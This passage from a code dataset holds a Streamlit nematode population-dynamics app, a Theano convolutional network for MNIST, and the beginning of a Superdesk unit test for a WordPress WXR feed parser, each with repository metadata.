st.session_state.ha) * (1 - st.session_state.bc)) ** (j + 1) for j in jn]\n\n        # -------- basic reproduction number ---------\n        G0 = st.session_state.k * (st.session_state.v * (1 - st.session_state.ha))\n        R0 = G0 * st.session_state.s * (1 - st.session_state.m)\n\n        # ------  alpha -----------------\n        alpha = st.session_state.m\n\n        # ------ Effective population number -----------\n        # ------ valid if PCB are same-sized -----------\n        if all(j == jn[0] for j in jn) and len(jn)>= 1:\n            j = jn[0]\n            Gj = st.session_state.k * (st.session_state.v * (1 - st.session_state.ha) * (1 - st.session_state.bc)) ** (j + 1)\n            Rj = R0 * (Gj / G0)\n            #st.markdown(\"Regular PCB of\"); st.markdown(jn[0])\n        else:\n            Rj = float('inf')\n    \n        #st.markdown(\"R0 =\"); st.markdown(R0)\n        #st.markdown(\"Resistant threshold =\"); st.markdown(2 * (1 - alpha))\n        \n        nb_gen = len(u)\n        X = np.zeros(nb_gen)\n        Y = np.zeros(nb_gen)\n        Z = np.zeros(nb_gen)\n        X[0] = J_AA_0\n        Y[0] = J_Aa_0\n        Z[0] = J_aa_0\n        M_A,M_a,F_A,F_a = attrib_constants(u,st.session_state.m)\n        #st.markdown(F_A)\n        for n in range(nb_gen-1):\n            if X[n] + Y[n] + Z[n] == 0:\n                X[n + 1] = 0\n                Y[n + 1] = 0\n                Z[n + 1] = 0\n            else:\n                X[n + 1] = (Gjn[n] * (M_A[n] * F_A[n] * (X[n] + Y[n] / 2)**2) /\n                            (M_A[n] * (X[n] + Y[n]) + M_a[n] * Z[n])) / (1 + (X[n] + Y[n] + Z[n]) / st.session_state.M)\n                Y[n + 1] = (Gjn[n] * (M_A[n] * (F_a[n] * Z[n] + F_A[n] * Y[n] / 2) * (X[n] + Y[n] / 2) +\n                            F_A[n] * (M_a[n] * Z[n] + M_A[n] * Y[n] / 2) * (X[n] + Y[n] / 2)) /\n                            (M_A[n] * (X[n] + Y[n]) + M_a[n] * Z[n])) / (1 + (X[n] + Y[n] + Z[n]) / st.session_state.M)\n                Z[n + 1] = (Gjn[n] * (F_a[n] * Z[n] + F_A[n] * Y[n] / 2) * (M_a[n] * Z[n] + M_A[n] * Y[n] / 2) /\n                            (M_A[n] * (X[n] + Y[n]) + M_a[n] * Z[n])) / (1 + (X[n] + Y[n] + Z[n]) / st.session_state.M)\n\n        tot = X + Y + Z\n        f_AA = np.zeros(nb_gen)\n        f_Aa = np.zeros(nb_gen)\n        f_aa = np.zeros(nb_gen)\n        f_A = np.zeros(nb_gen)\n        f_a = np.zeros(nb_gen)\n\n        for n in range(nb_gen):\n            if tot[n] == 0:\n                f_AA[n] = 0\n                f_Aa[n] = 0\n                f_aa[n] = 0\n            else:\n                f_AA[n] = X[n] / tot[n]\n                f_Aa[n] = Y[n] / tot[n]\n                f_aa[n] = Z[n] / tot[n]\n            \n            f_A[n] = f_AA[n] + f_Aa[n] / 2\n            f_a[n] = f_aa[n] + f_Aa[n] / 2          \n        generate_main_plot(tot,f_A, f_a, Y, Z, R0)\n    \n    \nelif main_tab == \"Settings\":\n    st.markdown(\"# Settings\")\n    st.markdown(\"These parameters describe the basic biology of PCNs. They are retrieved from intensive literature review and cautious estimations. Please edit these settings if and only if you have enough knowledge!!\")\n    st.session_state.s = st.slider(\"Survival rate of hatched larvae (%):\", min_value=0.0, max_value=100.0, value=st.session_state.s*100, step=0.1)/100\n    st.session_state.m = st.slider(\"Average male allocation on susceptible potato (%):\", min_value=0.0, max_value=40.0, value=st.session_state.m*100, step=0.1)/100\n    st.session_state.v = st.slider(\"Viability of encysted juveniles (%):\", min_value=80.0, max_value=99.9, value=st.session_state.v*100, step=0.001)/100\n    st.session_state.ha = st.slider(\"Yearly rate of accidental hatching (%):\", min_value=0.0, max_value=35.0, value=st.session_state.ha*100, step=0.001)/100\n    st.session_state.k = st.slider(\"Average eggs per cyst:\", min_value=200, max_value=500, value=st.session_state.k, step=1)\n", "repo_name": "israeltankam/nemo", "sub_path": "nemo.py", "file_name": "nemo.py", "file_ext": "py", "file_size_in_byte": 23012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "streamlit.set_page_config", "line_number": 14, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 25, "usage_type": "call"}, {"api_name": "hydralit_components.nav_bar", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 38, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 39, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 40, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 41, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 42, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 43, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 43, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 44, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 44, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 45, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 45, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 46, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 47, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 48, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 53, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 53, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 54, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 55, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 55, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 56, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 56, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 57, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 58, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 58, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 59, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 59, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 60, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 61, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 62, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 62, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.setdefault", "line_number": 63, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 63, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 80, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 81, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 82, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 83, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 130, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 131, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 136, "usage_type": "attribute"}, {"api_name": "streamlit.columns", "line_number": 144, "usage_type": "call"}, {"api_name": "streamlit.pyplot", "line_number": 147, "usage_type": "call"}, {"api_name": "streamlit.expander", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 155, "usage_type": "call"}, {"api_name": "streamlit.pyplot", "line_number": 162, "usage_type": "call"}, {"api_name": "streamlit.expander", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 170, "usage_type": "call"}, {"api_name": "streamlit.pyplot", "line_number": 176, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 185, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 186, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 187, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 188, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 189, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 190, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 191, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 192, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 193, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 194, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 195, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 196, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 199, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 201, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 202, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 204, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 205, "usage_type": "call"}, {"api_name": "streamlit.latex", "line_number": 206, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 211, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 212, "usage_type": "call"}, {"api_name": "streamlit.latex", "line_number": 213, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 221, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 222, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 223, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 225, "usage_type": "call"}, {"api_name": "streamlit.latex", "line_number": 226, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 230, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 242, "usage_type": "call"}, {"api_name": "streamlit.image", "line_number": 244, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 245, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 261, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 262, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 275, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 276, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 277, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 278, "usage_type": "call"}, {"api_name": "streamlit.checkbox", "line_number": 280, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 282, "usage_type": "call"}, {"api_name": "streamlit.latex", "line_number": 283, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 294, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 300, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 301, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 302, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 303, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 304, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 305, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 306, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 307, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 308, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 309, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 310, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 311, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 312, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 313, "usage_type": "attribute"}, {"api_name": "streamlit.columns", "line_number": 315, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 317, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 317, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 318, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 320, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 321, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 322, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 323, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 326, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 327, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 330, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 331, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 334, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 335, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 336, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 339, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 340, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 341, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 343, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 344, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 345, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 349, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 350, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 353, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 356, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 356, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 358, "usage_type": "call"}, {"api_name": "streamlit.text", "line_number": 359, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 359, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 361, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 361, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 362, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 362, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 365, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 370, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 371, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 372, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 373, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 378, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 381, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 382, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 385, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 391, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 403, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 407, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 416, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 419, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 421, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 424, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 426, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 427, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 428, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 446, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 447, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 448, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 448, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 449, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 449, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 450, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 450, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 451, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 451, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 452, "usage_type": "attribute"}, {"api_name": "streamlit.slider", "line_number": 452, "usage_type": "call"}]}
{"seq_id": "2806549032", "text": "\"\"\"\nRazvan Pascanu\n\"\"\"\nimport theano\nimport theano.tensor as TT\nfrom theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams\n\nimport cPickle\nimport gzip\nimport numpy\n\nfrom utils import softmax\nfrom conv_utils import LeNetConvPoolLayerStandard\nfrom mlp_utils import HiddenLayerStandard, SoftmaxLayerStandard\n\n\nclass convMat(object):\n    def __init__(self, state, data):\n        self.rng = numpy.random.RandomState(state['seed'])\n        self.srng = RandomStreams(self.rng.randint(1e5))\n        self.data = data\n        self.nin = data.xdim\n        self.state = state\n        self.nout = data.ydim\n        nkerns = eval(str(state['nkerns']))\n\n        #######################\n        # 0. Training functions\n        #######################\n        self.x = TT.matrix('X')\n        self.y = TT.ivector('y')\n        layer0_input = self.x.reshape((state['cbs'], 1, 28, 28))\n        self.layer0 = LeNetConvPoolLayerStandard(\n            self.rng,\n            input=layer0_input,\n            image_shape=(state['cbs'], 1, 28, 28),\n            filter_shape=(nkerns[0], 1, 5, 5),\n            poolsize=(2, 2),\n            name='layer0')\n\n        self.layer1 = LeNetConvPoolLayerStandard(\n            self.rng,\n            input=self.layer0.output,\n            image_shape=(state['cbs'], nkerns[0], 12, 12),\n            filter_shape=(nkerns[1], nkerns[0], 5, 5),\n            poolsize=(2, 2),\n            name='layer1')\n\n        layer2_input = self.layer1.output.flatten(2)\n        self.layer2 = HiddenLayerStandard(\n            self.rng,\n            layer2_input,\n            nkerns[1] * 4 * 4,\n            eval(str(state['nhid'])))\n\n        self.layer3 = SoftmaxLayerStandard(\n            self.rng,\n            self.layer2.output,\n            eval(str(state['nhid'])),\n            self.nout)\n\n        self.params = []\n        self.params += self.layer0.params\n        self.params += self.layer1.params\n        self.params += self.layer2.params\n        self.params += self.layer3.params\n        self.params_shape = [x.get_value(borrow=True).shape\n                             for x in self.params]\n        ##### PARAMS\n        self.inputs = [self.x, self.y]\n        inds = TT.constant(numpy.asarray(range(state['cbs']),\n                                         dtype='int32'))\n        cost = -TT.log(self.layer3.output)[inds, self.y]\n        self.train_cost = TT.mean(cost)\n        self.Gvs = lambda *args:\\\n                TT.Lop(self.layer3.output,\n                       self.params,\n                       TT.Rop(self.layer3.output,\n                              self.params,\n                              args) / (self.layer3.output * state['mbs']))\n\n        pred = TT.argmax(self.layer3.output, axis=1)\n        self.error = TT.mean(TT.neq(pred, self.y)) * 100.\n\n        #########################\n        # 1. Validation functions\n        #########################\n        self.eval_x = TT.matrix('X')\n        self.eval_y = TT.ivector('y')\n        layer0_input = self.eval_x.reshape((1, 1, 28, 28))\n        self.eval_layer0 = LeNetConvPoolLayerStandard(\n            self.rng,\n            input=layer0_input,\n            image_shape=(1, 1, 28, 28),\n            filter_shape=(nkerns[0], 1, 5, 5),\n            poolsize=(2, 2),\n            name='layer0',\n            W=self.layer0.W,\n            b=self.layer0.b)\n\n        self.eval_layer1 = LeNetConvPoolLayerStandard(\n            self.rng,\n            input=self.eval_layer0.output,\n            image_shape=(1, nkerns[0], 12, 12),\n            filter_shape=(nkerns[1], nkerns[0], 5, 5),\n            poolsize=(2, 2),\n            name='layer1',\n            W=self.layer1.W,\n            b=self.layer1.b)\n\n        layer2_input = self.eval_layer1.output.flatten(2)\n        self.eval_layer2 = HiddenLayerStandard(\n            self.rng,\n            layer2_input,\n            nkerns[1] * 4 * 4,\n            eval(str(state['nhid'])),\n            W=self.layer2.W,\n            b=self.layer2.b)\n\n        self.eval_layer3 = SoftmaxLayerStandard(\n            self.rng,\n            self.eval_layer2.output,\n            eval(str(state['nhid'])),\n            self.nout,\n            W=self.layer3.W,\n            b=self.layer3.b)\n        pred = TT.argmax(self.eval_layer3.output, axis=1)\n        err = TT.mean(TT.neq(pred, self.eval_y)) * 100\n        givens = {}\n        entry = TT.iscalar('entry')\n        givens[self.eval_x] = self.data.valid_x(entry, entry + 1)\n        givens[self.eval_y] = self.data.valid_y(entry, entry + 1)\n        self.valid_eval_func = theano.function([entry],\n                                               err,\n                                               givens=givens,\n                                               name='valid_eval_fn',\n                                               profile=0)\n\n        givens[self.eval_x] = self.data.test_x(entry, entry + 1)\n        givens[self.eval_y] = self.data.test_y(entry, entry + 1)\n        self.test_eval_func = theano.function([entry],\n                                    err,\n                                    givens=givens,\n                                    name='test_fn',\n                                    profile=0)\n\n    def validate(self):\n        return numpy.mean([self.valid_eval_func(k) for k in\n                          xrange(self.data.n_valid_samples)])\n\n    def  test_eval(self):\n        return numpy.mean([self.test_eval_func(k) for k in\n                          xrange(self.data.n_test_samples)])\n\n    def save(self, filename):\n        vals = dict([(x.name, x.get_value()) for x in self.params])\n        numpy.savez(filename, vals)\n\n    def load(self, filename):\n        values = numpy.load(filename)\n        for param in self.params:\n            param.set_value(values[param.name], borrow=True)\n", "repo_name": "pascanur/natgrad", "sub_path": "model_convMNIST_standard.py", "file_name": "model_convMNIST_standard.py", "file_ext": "py", "file_size_in_byte": 5726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.RandomState", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 19, "usage_type": "attribute"}, {"api_name": "theano.sandbox.rng_mrg.MRG_RandomStreams", "line_number": 20, "usage_type": "call"}, {"api_name": "theano.tensor.matrix", "line_number": 30, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 30, "usage_type": "name"}, {"api_name": "theano.tensor.ivector", "line_number": 31, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 31, "usage_type": "name"}, {"api_name": "conv_utils.LeNetConvPoolLayerStandard", "line_number": 33, "usage_type": "call"}, {"api_name": "conv_utils.LeNetConvPoolLayerStandard", "line_number": 41, "usage_type": "call"}, {"api_name": "mlp_utils.HiddenLayerStandard", "line_number": 50, "usage_type": "call"}, {"api_name": "mlp_utils.SoftmaxLayerStandard", "line_number": 56, "usage_type": "call"}, {"api_name": "theano.tensor.constant", "line_number": 71, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 71, "usage_type": "call"}, {"api_name": "theano.tensor.log", "line_number": 73, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 73, "usage_type": "name"}, {"api_name": "theano.tensor.mean", "line_number": 74, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 74, "usage_type": "name"}, {"api_name": "theano.tensor.Lop", "line_number": 76, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 76, "usage_type": "name"}, {"api_name": "theano.tensor.Rop", "line_number": 78, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 78, "usage_type": "name"}, {"api_name": "theano.tensor.argmax", "line_number": 82, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 82, "usage_type": "name"}, {"api_name": "theano.tensor.mean", "line_number": 83, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 83, "usage_type": "name"}, {"api_name": "theano.tensor.neq", "line_number": 83, "usage_type": "call"}, {"api_name": "theano.tensor.matrix", "line_number": 88, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 88, "usage_type": "name"}, {"api_name": "theano.tensor.ivector", "line_number": 89, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 89, "usage_type": "name"}, {"api_name": "conv_utils.LeNetConvPoolLayerStandard", "line_number": 91, "usage_type": "call"}, {"api_name": "conv_utils.LeNetConvPoolLayerStandard", "line_number": 101, "usage_type": "call"}, {"api_name": "mlp_utils.HiddenLayerStandard", "line_number": 112, "usage_type": "call"}, {"api_name": "mlp_utils.SoftmaxLayerStandard", "line_number": 120, "usage_type": "call"}, {"api_name": "theano.tensor.argmax", "line_number": 127, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 127, "usage_type": "name"}, {"api_name": "theano.tensor.mean", "line_number": 128, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 128, "usage_type": "name"}, {"api_name": "theano.tensor.neq", "line_number": 128, "usage_type": "call"}, {"api_name": "theano.tensor.iscalar", "line_number": 130, "usage_type": "call"}, {"api_name": "theano.tensor", "line_number": 130, "usage_type": "name"}, {"api_name": "theano.function", "line_number": 133, "usage_type": "call"}, {"api_name": "theano.function", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.savez", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 160, "usage_type": "call"}]}
{"seq_id": "25212734734", "text": "import os\nimport datetime\n\nfrom unittest import TestCase, mock\n\nfrom superdesk.etree import etree\nfrom superdesk.io.feed_parsers import wordpress_wxr\n\nFAKE_MEDIA_DATA = {\n    \"_created\": datetime.datetime(2017, 4, 26, 13, 0, 33, tzinfo=datetime.timezone.utc),\n    \"_etag\": \"0b135dc3959fe4b09642d02ae733b94af72af5d3\",\n    \"_id\": \"590099f1cc3a2d2349a785f4\",\n    \"_updated\": datetime.datetime(2017, 4, 26, 13, 0, 33, tzinfo=datetime.timezone.utc),\n    \"media\": \"590099f1cc3a2d2349a785ee\",\n    \"mimetype\": \"image/jpeg\",\n    \"renditions\": {\n        \"original\": {\n            \"height\": 256,\n            \"href\": \"http://test\",\n            \"media\": \"590099f1cc3a2d2349a785ee\",\n            \"mimetype\": \"image/jpeg\",\n            \"width\": 642,\n        },\n        \"thumbnail\": {\n            \"height\": 23,\n            \"href\": \"http://test\",\n            \"media\": \"590099f1cc3a2d2349a785f0\",\n            \"mimetype\": \"image/jpeg\",\n            \"width\": 60,\n        },\n        \"viewImage\": {\n            \"height\": 79,\n            \"href\": \"http://test\",\n            \"media\": \"590099f1cc3a2d2349a785f2\",\n            \"mimetype\": \"image/jpeg\",\n            \"width\": 200,\n        },\n    },\n}\n\n\ndef fake_update_renditions(item, url, _):\n    update = {\n        # we use URL as _id so we can check the value easily\n        \"_id\": url,\n        \"renditions\": {\n            \"original\": {\n                \"height\": 256,\n                \"href\": \"http://test\",\n                \"media\": \"590099f1cc3a2d2349a785ee\",\n                \"mimetype\": \"image/jpeg\",\n                \"width\": 642,\n            },\n            \"thumbnail\": {\n                \"height\": 23,\n                \"href\": \"http://test\",\n                \"media\": \"590099f1cc3a2d2349a785f0\",\n                \"mimetype\": \"image/jpeg\",\n                \"width\": 60,\n            },\n            \"viewImage\": {\n                \"height\": 79,\n                \"href\": \"http://test\",\n                \"media\": \"590099f1cc3a2d2349a785f2\",\n                \"mimetype\": \"image/jpeg\",\n                \"width\": 200,\n            },\n        },\n        \"mimetype\": \"image/jpeg\",\n    }\n    item.update(update)\n\n\nclass WPWXRTestBase(TestCase):\n    @mock.patch.object(wordpress_wxr, \"update_renditions\", fake_update_renditions)\n    def __init__(self, methodname):\n        super().__init__(methodname)\n        dirname = os.path.dirname(os.path.realpath(__file__))\n        fixture = os.path.normpath(os.path.join(dirname, \"../fixtures\", self.filename))\n        provider = {\"name\": \"Test\"}\n        with open(fixture, \"rb\") as f:\n            buf = f.read()\n        self.ori_file = buf\n        parser = etree.XMLParser(recover=True)\n        parsed = etree.fromstring(buf, parser)\n        self.articles = wordpress_wxr.WPWXRFeedParser().parse(parsed, provider)\n\n\nclass WPWXRTestCase(WPWXRTestBase):\n    filename = \"wordpress_wxr.xml\"\n\n    def test_guid(self):\n        self.assertEqual(self.articles[0][\"guid\"], \"http://sdnewtester.org/?p=216\")\n        self.assertEqual(\n            self.articles[0][\"extra\"][\"original_article_url\"], \"http://sdnewtester.org/bla/bla/article.html\"\n        )\n\n    def test_firstpublished(self):\n        self.assertEqual(\n            self.articles[0][\"firstpublished\"], datetime.datetime(2013, 7, 29, 16, 3, 54, tzinfo=datetime.timezone.utc)\n        )\n\n    def test_author(self):\n        self.assertEqual(self.articles[0][\"author\"], \"admin\")\n\n    def test_headline(self):\n        